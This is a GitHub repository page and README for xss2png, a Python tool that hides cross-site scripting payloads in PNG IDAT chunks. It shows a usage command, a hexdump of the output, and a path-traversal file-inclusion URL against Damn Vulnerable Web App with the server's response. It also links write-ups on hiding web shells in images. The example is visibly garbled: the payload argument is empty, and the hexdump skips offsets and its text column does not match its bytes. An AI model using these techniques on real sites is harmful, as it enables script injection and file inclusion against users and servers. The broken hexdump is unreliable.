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https://github.com/vavkamil/xss2png
PNG IDAT chunks XSS payload generator
https://github.com/vavkamil/xss2png
Last synced: about 1 month ago
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PNG IDAT chunks XSS payload generator
- Host: GitHub
- URL: https://github.com/vavkamil/xss2png
- Owner: vavkamil
- License: mit
- Created: 2019-08-22T19:23:54.000Z (over 5 years ago)
- Default Branch: master
- Last Pushed: 2022-10-11T17:26:14.000Z (about 2 years ago)
- Last Synced: 2024-08-01T10:17:16.208Z (4 months ago)
- Language: Python
- Size: 18.6 KB
- Stars: 161
- Watchers: 4
- Forks: 30
- Open Issues: 1
-
Metadata Files:
- Readme: README.md
- Funding: .github/FUNDING.yml
- License: LICENSE
Awesome Lists containing this project
- awesome-bugbounty-tools - xss2png - PNG IDAT chunks XSS payload generator (Exploitation / XSS Injection)
- awesome-starz - vavkamil/xss2png - PNG IDAT chunks XSS payload generator (Python)
README
# xss2png
A simple tool to generate PNG images with XSS payloads stored in PNG IDAT chunks
*Huge thanks to Nathaniel McHugh for sharing his PHP source code with me*
### Usage
```
~/$ python3 xss2png.py -p "" -o xss.png
____
__ _____ ___|___ \ _ __ _ __ __ _
\ \/ / __/ __| __) | '_ \| '_ \ / _` |
> <\__ \__ \/ __/| |_) | | | | (_| |
/_/\_\___/___/_____| .__/|_| |_|\__, |
|_| |___/
PNG IDAT chunks XSS payload generator
[i] Using payload:
[i] Generating final PNG output
[!] PNG output saved as: xss.png
```
### Example
```
~/$ hexdump -C xss.png
00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG........IHDR|
00000010 00 00 00 20 00 00 00 20 08 02 00 00 00 fc 18 ed |... ... ........|
00000020 a3 00 00 00 79 49 44 41 54 78 9c 63 fc 3c 53 43 |....yIDATx.c. ..........{|
00000060 c5 f2 d2 cb 43 f1 c1 fd db 2a cf df de ff fc ff |....C....*......|
00000070 f9 87 1f 56 7f ff f2 04 7a 5c bf 72 f7 ca b3 37 |...V....z\.r...7|
00000080 9a 7a 6b 3b fb 18 19 19 46 c1 28 18 05 a3 60 14 |.zk;....F.(...`.|
00000090 8c 82 51 30 0a 46 c1 28 18 05 43 0e 00 00 1b 22 |..Q0.F.(..C...."|
000000a0 26 02 5b 4d 02 76 00 00 00 00 49 45 4e 44 ae 42 |&.[M.v....IEND.B|
000000b0 60 82 |`.|
000000b2
````
#### Damn Vulnerable Web App
`http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/xss.png`
```
HTTP/1.1 200 OK
Date: Fri, 23 Aug 2019 00:13:37 GMT
Content-Type: text/html;charset=utf-8
Content-Length: 3422
Connection: close
�PNG
IHDR ���yIDATx�c� �����=s3��K�_s������?��_�X1�� ��~���go4��v�322��Q0
F�(�`��Q0
�4�%�۠IEND�B`�
```
**Can be also useful for example with PHP payload on Hackerone CTF TempImage challenge**
### Credits
fin1te
Adam Logue
huntergregal
IDontPlayDarts
Masato Kinugawa
Nathaniel McHugh
### Relevant posts
06-2012 [Encoding Web Shells in PNG IDAT chunks](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
11-2015 [Bug-hunter's Sorrow](https://www.slideshare.net/masatokinugawa/avtokyo-bug-hunters-sorrow-en)
01-2016 [An XSS on Facebook via PNGs & Wonky Content Types](https://whitton.io/articles/xss-on-facebook-via-png-content-types/)
03-2016 [Revisiting XSS payloads in PNG IDAT chunks](https://www.adamlogue.com/revisiting-xss-payloads-in-png-idat-chunks/)
10-2022 [Persistent PHP payloads in PNGs: How to inject PHP code in an image – and keep it there !](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)
### Other tools
[PNG-IDAT-chunks](https://github.com/vavkamil/old-repos-backup/tree/master/PNG-IDAT-chunks-master)
[PNG-IDAT-Payload-Generator](https://github.com/huntergregal/PNG-IDAT-Payload-Generator)
[pixload](https://github.com/chinarulezzz/pixload)
### Stack Overflow
[PHP shell on PNG's IDAT Chunk](https://stackoverflow.com/questions/49144776/php-shell-on-pngs-idat-chunk)